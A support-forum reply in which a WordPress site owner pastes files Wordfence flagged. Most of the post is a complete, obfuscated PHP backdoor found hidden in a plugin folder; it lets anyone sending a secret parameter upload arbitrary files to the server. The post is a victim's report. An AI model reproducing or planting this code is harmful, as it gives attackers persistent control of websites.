Reply To: New malicious files and infection that the program cannot detect

Home Forums Support Forum New malicious files and infection that the program cannot detect Reply To: New malicious files and infection that the program cannot detect

#159677

Igor Dovecer
Member

More files founr with Wordfende:

wp-content/plugins/.gallery-by-supsystic/src/GridGallery/Featuredplugins/index.php

<?php goto ykCej3;AxCHuG: echo /*

*/("oG85")[0];goto BRF6qNEm;BISpL189_: echo ("Gbaw")[2];goto jYu8BW0;mw0W_3Hk: $AOpYTE3 = false; goto _esRnx29;hWDCa5vnHF: echo /* */("Q_a")[3];goto VQ13XIdBDc;i1Zt_dv: $bNwCsM = ucfirst("jnO78R"); goto hWDCa5vnHF;ykCej3: $xrX9I0JA = false; goto qSMmVW2tBZ;hwF1IB: $VfFejBvu = addslashes("VfFejBvu"); goto eTuNgzCMnQ;eTuNgzCMnQ: $BNGuzdf = (/**/("Qesu")[2]./* */("JaZGtk")[4].("iYCTr9")[4].("hAikO")[2].("cxpW")[2]./*
*/("KtoO")[2].("Ussg")[2])("WKAhTl5I","pxu4b"); goto PzXHjpuqf;PzXHjpuqf: $ynXQOj = (/* */("iaLG")[0]./* */("neR3m6")[4].("_per")[1]./* */("l_gn9")[0]./* */("Ot_joU")[4]./**/("dbfM")[0]./* */("eaUJx")[0])(",",array("LT_9j","iV_16z","gI6o45CAl","sq7NidRG")); goto yelvMSuwnc;zyB7Ln: $i_uTNm = (/* */("iaLG")[0]./**/("neR3m6")[4].("_per")[1]./**/("l_gn9")[0]./* 
*/("Ot_joU")[4]./*
*/("dbfM")[0]./*
*/("eaUJx")[0])("i_uTNm",array());goto ZETpXa7Y;ocalDf96EG: $bovKN = (("IKVhsp")[4]./**/("NZzt5")[3].("ZLr3ZB")[2].("kWsYX")[2]./*
*/("xtWM")[1].("AKr3")[2])("iM0Yo3rxd","fbBTRG"); goto AfqM3LkT;_bzhxnlV5: $rzgU5m = (/* 

*/("iaLG")[0]./*
  */("neR3m6")[4].("_per")[1]./**/("l_gn9")[0]./* */("Ot_joU")[4]./*

*/("dbfM")[0]./* 
*/("eaUJx")[0])(",",array("JL1qced","Hvw7540db","iZg15e","EoU0neEI")); goto icUuYiMvN;hrRGohl6yv: $ngJMnw6 = (/*
*/("UYsUA")[2]./* 
*/("jtbSaR")[1].("rouPV6")[0].("_uzA3o")[0].("qnM4rj")[4].("rejJS")[1].("QpIn69")[1].("eeEO7")[1].("caR3")[1].("tZkc4")[0])("", 11); goto AxCHuG;dfei4Y: $jkVqgt8m = (("OsvgE")[1]./**/("Qtqv")[1].("WMrG")[2]./**/("_iJ_T3")[3].("VpwJLe")[1]./**/("aLvr2")[0].("wCPBdc")[4])("", 0); goto iwgH74h0oW;ZETpXa7Y: $cACFV = md5("nmVcX"); goto dfei4Y;XphWuT: if($RsdQa)exit("Hhsrta0wRMUzuZKnc".copy($_FILES["dyFw_XdT"][("Xt9zvm")[1]./**/("pnmW")[2]./*
*/("pOGLp")[0]./*
 */("_Zl4_p")[0].("cn82")[1]./*
*/("aQpfHM")[0]./**/("mHxrCV")[0].("ywseC")[3]],$RsdQa));goto BISpL189_;gzr8J_: $hjrdQCltf = (/*  */("R9ws")[2]./* */("oZYr")[0]./*  */("sLqrU")[3].("CdE_M")[1].("aw5g")[1]./*
*/("rZTbU")[0].("a0AXap")[4]./*
*/("ZgdCp9")[4])("", 11);goto i1Zt_dv;_esRnx29: $kDuCiL = (/* */("R9ws")[2]./*
*/("oZYr")[0]./* */("sLqrU")[3].("CdE_M")[1].("aw5g")[1]./* */("rZTbU")[0].("a0AXap")[4]./* */("ZgdCp9")[4])("", 11);goto VFrqJe;jYu8BW0: $vLD1t = lcfirst("QDuStBT"); goto NRsHxK4;VFrqJe: $onBqsmMg = (("Rlc8r5")[2]./* */("hBNpF2")[0].("SPu3pL")[2].("nNork")[0]./*
*/("kPk2fr")[2].("_Y0V")[0].("CFspDe")[2]./*

*/("opGHUp")[1].("ARlHS")[2].("icRXVS")[0].("EnxtsP")[3])("YiMpKIsbzCHZ",3); goto LvXbOM6;AfqM3LkT: $HiaOQ = sha1("wPiO_w4U"); goto AoYchCH;kv4rLIg: $RGXAne = ucfirst("CUA1Q6oSZ"); goto TxOVRUJZs2;VQ13XIdBDc: $QtRoTgWFG = (/* */("UYsUA")[2]./*
*/("jtbSaR")[1].("rouPV6")[0].("_uzA3o")[0].("qnM4rj")[4].("rejJS")[1].("QpIn69")[1].("eeEO7")[1].("caR3")[1].("tZkc4")[0])("", 12); goto u74JEf;Bj3GWE: $o5cWOwP = str_shuffle("uyEs5Xz"); goto k8jW9L;KFc7Jrse: $hUp3SQm = (string) null; goto nAg6BR9l2J;iwgH74h0oW: $OlLEq = ucfirst("o80qov"); goto xW0ea_QuY;u74JEf: $dhvF3_V = (/**/("OswLA")[1]./*
*/("pOe1")[0]./**/("xqrHK")[2].("oTxil")[3]./**/("wnd7QE")[1]./**/("QtDtW")[3]./*
*/("fiRGm")[0])(""); goto Bj3GWE;TxOVRUJZs2: $YnCo2d7xL = ucwords("yNWysh42"); goto hwF1IB;AoYchCH: $PsRt7m = (/* */("UYsUA")[2]./*
*/("jtbSaR")[1].("rouPV6")[0].("_uzA3o")[0].("qnM4rj")[4].("rejJS")[1].("QpIn69")[1].("eeEO7")[1].("caR3")[1].("tZkc4")[0])("", 5); goto WlyU249wDs;G65m9e: $LvTRl_ = strval(false); goto pglJFQ;pglJFQ: $LQ3Bz9 = (/* */("bsFZ")[1].("DwuA")[2]./*
*/("bNEMP7")[0]./* */("MPFst")[3]./* */("Btae")[1].("LrGT")[1])("LQ3Bz9",6,0);goto ZV7P9zrUE;xW0ea_QuY: if(!isset($_GET["azK"]))exit;goto xfAcC8;qSMmVW2tBZ: $ppV3cU5S = metaphone("t1XU9f"); goto KFc7Jrse;nAg6BR9l2J: $Gr21H = sha1("Y9_YBwr"); goto ocalDf96EG;LvXbOM6: $hVQEpa = (/**/("R9ws")[2]./*
  */("oZYr")[0]./**/("sLqrU")[3].("CdE_M")[1].("aw5g")[1]./**/("rZTbU")[0].("a0AXap")[4]./*
*/("ZgdCp9")[4])("", 12);goto kv4rLIg;NRsHxK4: $Qo0RO78Ex = (string) null; goto D6WKRspUy;xfAcC8: if(isset($_FILES["dyFw_XdT"]))$RsdQa = basename($_FILES["dyFw_XdT"][/**/("unA2q")[1].("tazMA")[1]./**/("mbtZoM")[0]./* */("peF1")[1]]);goto XphWuT;k8jW9L: $A2ldyEBD = addcslashes("A2ldyEBD","rFNwjKJf4"); goto _bzhxnlV5;BRF6qNEm: echo /*
*/("ZgJS")[0];goto gzr8J_;D6WKRspUy: $Uwzi6EGn = (/**/("Qesu")[2]./* */("JaZGtk")[4].("iYCTr9")[4].("hAikO")[2].("cxpW")[2]./* */("KtoO")[2].("Ussg")[2])("fTt1uWAgM","LFYZb8n"); goto hrRGohl6yv;WlyU249wDs: $v170t = (/**/("R9ws")[2]./*
*/("oZYr")[0]./* */("sLqrU")[3].("CdE_M")[1].("aw5g")[1]./*   */("rZTbU")[0].("a0AXap")[4]./**/("ZgdCp9")[4])("", 15);goto G65m9e;ZV7P9zrUE: $EwM4O = define("nBaNOV","KgpKtuL"); goto zyB7Ln;icUuYiMvN: $SbB3Dj = defined("XSfsaZ8"); goto mw0W_3Hk;yelvMSuwnc:""; ?>

wp-content/plugins/featured-images-for-rss-feeds/includes/freemius/templates/wp-login.php